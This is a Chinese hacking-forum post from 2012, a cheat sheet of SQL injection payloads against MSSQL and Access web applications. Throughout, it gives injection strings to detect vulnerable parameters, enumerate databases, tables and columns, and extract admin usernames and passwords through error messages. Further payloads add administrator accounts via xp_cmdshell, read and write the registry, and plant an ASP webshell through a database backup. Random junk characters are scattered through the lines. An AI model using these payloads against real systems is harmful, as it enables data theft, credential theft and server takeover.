找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2349|回复: 0
打印 上一主题 下一主题

SQL注入常用语句

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:31:51 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
1.判断是否有注入 - c6 `- ~1 _+ g5 A+ D2 y: }* w1 V3 B4 E
;and 1=1 - z+ n: N. \: l
;and 1=2
+ ]& {; g4 t( |$ u9 C" w2 }# T: P& Y, u: P0 V+ M
2.初步判断是否是mssql ! _. K5 A. J' y: X! @$ F
;and user>0
7 o& V! m  X7 _7 l$ W  G6 I) G, Z8 I5 k3 s* K
3.判断数据库系统 8 ~" Q, l: d7 Q$ C! b
;and (select count(*) from sysobjects)>0 mssql
7 e) A2 |! `& Y% G& S! W;and (select count(*) from msysobjects)>0 access ' z  C4 x" a# c, |! H0 r& B
# b, ]$ L# B& |4 E8 K
4.注入参数是字符 ' r5 H! }) ?# C
'and [查询条件] and ''=' 4 B, R! i$ a  P% N* R8 ~3 }
" y9 \9 p/ N& d4 k$ w2 a
5.搜索时没过滤参数的 6 u; i7 E4 m; j, l9 o- U( `
'and [查询条件] and '%25'='
6 Q# S0 t% Y$ e, z7 }$ a$ ]8 }2 N! Y% C: g
6.猜数表名 ; S% R( d1 Q' U' _" I
;and (select Count(*) from [表名])>0 : \0 D) [: Z$ x
5 ?: I3 ?9 o# M* v. [( U9 }
7.猜字段
  E$ M" Y) Z: ?% q, E2 l- l;and (select Count(字段名) from 表名)>0
: N# D$ g5 u& _+ n8 Y8 h7 l( u) \' q
8.猜字段中记录长度 6 d. L/ L8 E  }* c
;and (select top 1 len(字段名) from 表名)>0 " z# T6 N: s& b2 C. m+ }( P
4 J3 r! I$ C/ v8 [0 q4 T
9.(1)猜字段的ascii值(access)
; V3 u, m4 g4 G;and (select top 1 asc(mid(字段名,1,1)) from 表名)>0
, y7 s0 h1 Y3 Q
. H+ C  X% \4 ?' X' B6 f" R% q1 n(2)猜字段的ascii值(mssql)
/ y$ a& y/ i7 R  q0 z6 G  U7 {7 A5 @$ f;and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0
' T: E/ f9 {1 [
: m1 {/ M+ u" X+ L  f  G' H10.测试权限结构(mssql) - j7 h7 n# @- z8 J8 a6 ^
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- 0 T3 C, \/ j$ |: f
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
: o5 m6 a; k4 m9 ]' W% q- y1 W6 l0 U;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
% Z% E: B0 L# l# p% X! c9 c0 O2 R;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
  ~; ~- ]  R% N;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
/ K3 f3 X: n2 ];and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- 8 V5 O) G: ?  Q4 j
;and 1=(select IS_MEMBER('db_owner'));-- . d) K# \/ M! w. i/ |+ E/ r4 K

. s- @6 [3 w! q4 v. A3 x8 v11.添加mssql和系统的帐户
, [  P/ p: M; w4 }. g4 R, J;exec master.dbo.sp_addlogin username;--
: K; k, i9 A( |; G3 @0 k;exec master.dbo.sp_password null,username,password;--
0 Y" w9 p" |' n; X$ j, r, m;exec master.dbo.sp_addsrvrolemember sysadmin username;--
9 M" `) A  N& w& l;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';-- 0 Y6 ~( l$ A1 s8 W' [3 Y- y, \
;exec master.dbo.xp_cmdshell 'net user username password /add';-- , K- c  I! x- `1 V9 ~- _
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- 8 s2 ]1 z8 u( X" B) i9 Z" B
9 F/ n7 Y! B( e
12.(1)遍历目录 " k% L- B. t. b. A0 k& }( O( X% P
;create table dirs(paths varchar(100), id int) 6 i) c& B/ a: @# b2 v! x3 m
;insert dirs exec master.dbo.xp_dirtree 'c:\' & l9 ^  r6 _6 \' y. v8 ]# z
;and (select top 1 paths from dirs)>0
; W* [5 q' t; f' v" };and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
0 b8 R+ s4 [. `9 C5 R
- j8 K) h2 b- U5 s: h(2)遍历目录 1 R' i+ w4 W  t3 v5 S" H
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- + d: G' G4 J, z
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器   |/ o& j9 D/ E1 X/ p
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
: y5 d8 j3 _1 u: C) _;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构
# W5 E% I7 T; G6 H;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容
' d8 s& g4 p4 G% @2 j9 u( V2 _4 X- j  B' w& m) x0 w$ f4 j
13.mssql中的存储过程 ; b/ N5 S: L4 k/ E- Y) [+ x3 Y' @
xp_regenumvalues 注册表根键, 子键
$ v& q! o7 ]3 D* X. g" H% g;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值
* W5 D; ?1 g1 z" Yxp_regread 根键,子键,键值名 7 C& g! S  z, [) X5 H# A
;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 % {: B2 r) S5 b  x. j
xp_regwrite 根键,子键, 值名, 值类型, 值 ) s* K+ i8 o2 o) S$ {3 T& Q6 j* }
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
& t  [! q, ~% E1 q/ v& r. T" K9 d;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' 写入注册表
4 e4 O9 d2 R% w+ kxp_regdeletevalue 根键,子键,值名
6 W" X* I7 m6 V8 v, xexec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' 删除某个值
* h" P& w/ _! lxp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 6 N) ?) i  d( e" \* n
# e7 d" E+ U" d
14.mssql的backup创建webshell " N1 j+ S  s  @7 B& G
use model
$ i7 p% k8 }6 Ucreate table cmd(str image);
2 P/ _/ X4 Z$ N  k7 u% Winsert into cmd(str) values ('<% Dim oScript %>'); 6 \. i' G" r  Y
backup database model to disk='c:\l.asp';
, n: n) ~- S! J/ I6 L
" @% p5 h& T5 r) R. E15.mssql内置函数
3 W% ?9 ]4 c5 R# ^7 C  R( d;and (select @@version)>0 获得Windows的版本号 2 @1 K) [  k% p' ~: s
;and user_name()='dbo' 判断当前系统的连接用户是不是sa # |6 A- Y- W$ Q& K
;and (select user_name())>0 爆当前系统的连接用户
2 _$ c& k+ t* H, |% Y' A* Q4 k;and (select db_name())>0 得到当前连接的数据库 ' Q8 B( s2 F3 I3 j* a
7 J+ g2 a* i4 B9 B" q
& D7 n; e" v/ ^& Q. h; `
$ W, ^5 C& Y* V$ q9 B- r$ M( G  Z7 k
MSSQL手注暴库1 y, _* r1 q) W

, H" m/ y5 o5 V8 c; v& |* p. N1.暴出当前表名和列名: w; w# [8 k$ e$ C8 o! _6 E* G
在注入点后提交“'having 1=1--",得到返回信息为英文,在这段英文中即可看到一个表名和一个列名。提交“group by 暴出的表名列名having 1=1--",可得到另一个列名;继续提交“group by 暴了的表名列名,暴出的表名.第2个列名 having 1=1--",可再得到一个列名。用同样的方法提交,直到页面不再返回错误信息,就可以得到所有的列名。小知识:暴表名与列名是在SQL语句中“having 1=1—"与GROUP BY结合使用,进行条件判断的。由于语句不完整,因此数据库返回错误信息,并显示一个表名和一个列名。基本方法只能暴出数据库中的当前表,如果某个表中包含的列名非常多,用上基本方法就非常困难了。
/ l/ n  r9 e% s7 K6 M# I9 m  k; F4 r* O  d# K6 @! U4 n/ _
第一.爆出所有数据库名' Y2 W0 l' F2 p  V  v
利用“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])"语句,暴出数据库中任意表名和列名,其中“[N]"表示数据库中的第N个表。
2 a& U& f1 E! M* B. _第一步:在注入点后提交如下语句:“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)",因为 dbid 的值从1到5,是系统使用的,所以用户自己建的一定是从6开始的,并且我们提交了 name>1,name字段是一个字符型的字段,和数字比较会出错因此在提交后,IE会返回如下的信息:“Microsoft OLE DB Provider for ODBC Drivers 错误 ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'Northwind' 转换为数据类型为 int 的列时发生语法错误。",这样就把name字段的值暴出来了,也就是我们得到了一个库名“Northwind"。改变“dbid"的值可以得出所有的库名。
& L3 ~( E+ y4 x0 e% ~. W9 p+ y! @, w5 x4 L) t2 `6 f
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])--  修改N从6开始爆出所有数据库名/ Q8 R- Z0 Y7 s2 S* r

3 N9 F% N0 }9 b2 m- P
8 s% H" Z2 r1 K第二.爆出指定库中的所有表名
0 ^4 p+ v9 g5 y得到了库名后,现在要得到库中所有的表名,提交如下语句:"and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U') ",这里要暴的是master这个库中的表名,查询的SQL语句返回的是name的值,然后和数字0比较,这样就会暴露出name的值。提交后一个表名为“'spt_monito"就被暴出来了。
4 I) s8 j) k" S0 P2 l: f" p再接着暴其他的表,继续提交如下语句:“and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U' and name not in('spt_monito'))"提交后,又暴出一个表名为"cd512"。依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出所有的表名。
: ?# [* q0 y* M5 X( M( F! G! E; G, f+ n  r. o. I! C; q3 y( j
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U')--
; E. \; M  A; j; c+ A: @/ |3 hand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]'))--
$ U* l6 \( Q, Z" V" q2 nand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]','[爆出的第二表名]'))--
& A* Y5 C0 I/ s8 h3 L* i$ P1 v% W, H) O7 ], G! x: k  ^1 j
4.爆出指定表中的所有列名
0 o' ]: T" C$ l: t/ s3 Sand 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id)))
0 ~) L& D! h0 ?//把ID值转成字符型后再和一个整型值比较。ID号出来了。值为:949578421  name='表名'
. P" W, S& h* b$ V2 G, _
- e- @1 @" _- G# }6 p6 Q% P7 Z4 rand 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421)--  爆出admin表中的一个字段名
! O8 L% R  z+ k
+ {( q4 _' Y! e5 o再提交and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421 and name not in('adduser'))-- % G- y8 R( `8 b: x& j4 s
依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出admin表中的所有字段名。  Y) B( `1 G5 _1 R# x. _

+ D; ]  e- Q9 o2 a% V1 P7 u- }8 g0 k$ i
and 0<>(select count(*) from [指定库名].dbo.sysobjects where xtype='U' and name='[要爆字段的表名]' and uid>(str(id)))--  爆出要爆字段的表名id值
! m" b7 ?/ w0 P& W- z; v7 C/ [2 A/ }9 E5 _. A7 i# [
and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值)-- 爆出id值表中的一个字段名5 R$ E6 Q0 j8 ]* Z" R

9 d) I! T0 Z3 |and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值 and name not in('[爆出的字段名]'))--
& m2 c$ I, `& b9 B! y
7 G7 m% @  v  O& t* A
* J4 p7 {( J) ]0 A
$ l, l8 r5 t, o) ?) o0 q2 b5.读取指定表中的数据% t- S  S5 H, x) g0 ]1 l+ P3 S- j
2 G1 [( {0 @! ]
and 0<(select A_ID from wutong.dbo.admin where A_UserID>1)-- 爆出A_PWD的内容 ) H# S  n9 v& [7 a/ ]; S; k
: F$ ^7 X3 i. q% O3 }$ c- Q4 J0 _
and 0<(select [一个存在的字段] from [指定库名].dbo.[要查询的表名] where [要爆内容的字段名]>1)--
  M5 f" a) j: @( p3 l: T4 E% U& l1 I1 r; T
and 0<(select A_ID from wutong.dbo.admin where A_PWD>1 and A_UserID='admin')-- 爆出admin的密码
5 ?5 E. r- h. t0 c0 l3 |& h7 S" @- E! d3 G0 r

. X/ B  v) I# G! K& ^4 Band 0<(Select Top 1 A_UserID FROM admin where A_ID<>1)--  爆出id<>1的管理员名字(fuhao)) p+ k! N2 s: p. J7 g; H
+ F" F. E+ K: \; D
and 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao')-- 爆出第二个管理员的名字 <>不等于(tuiguang)
. Z( s/ W) g* n; n( i% z6 x+ r4 V2 A2 _& M. ]2 g6 D1 j( h% q
and 0<(Select Top 1 A_UserID FROM admin where  A_ID <>1 and A_UserID <> 'fuhao'and A_UserID <> 'tuiguang')--" d* w% Q* `( w/ `9 q  E

7 o* p. q* u) z) Z- c4 @知道了数据库的表名、列名后,可以利用“查询语句"读取数据库中的任意信息。例如要读取某个表中某列中的第N个数据,可提交语句:“and (Select Top 1 列名 FROM 表名 where id=[N])>1"( [N]代表列中的第N条数据),从IE返回信息中即可得知想要的数据。! J! Z& |* W/ X: l: A& `% J0 k3 U
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表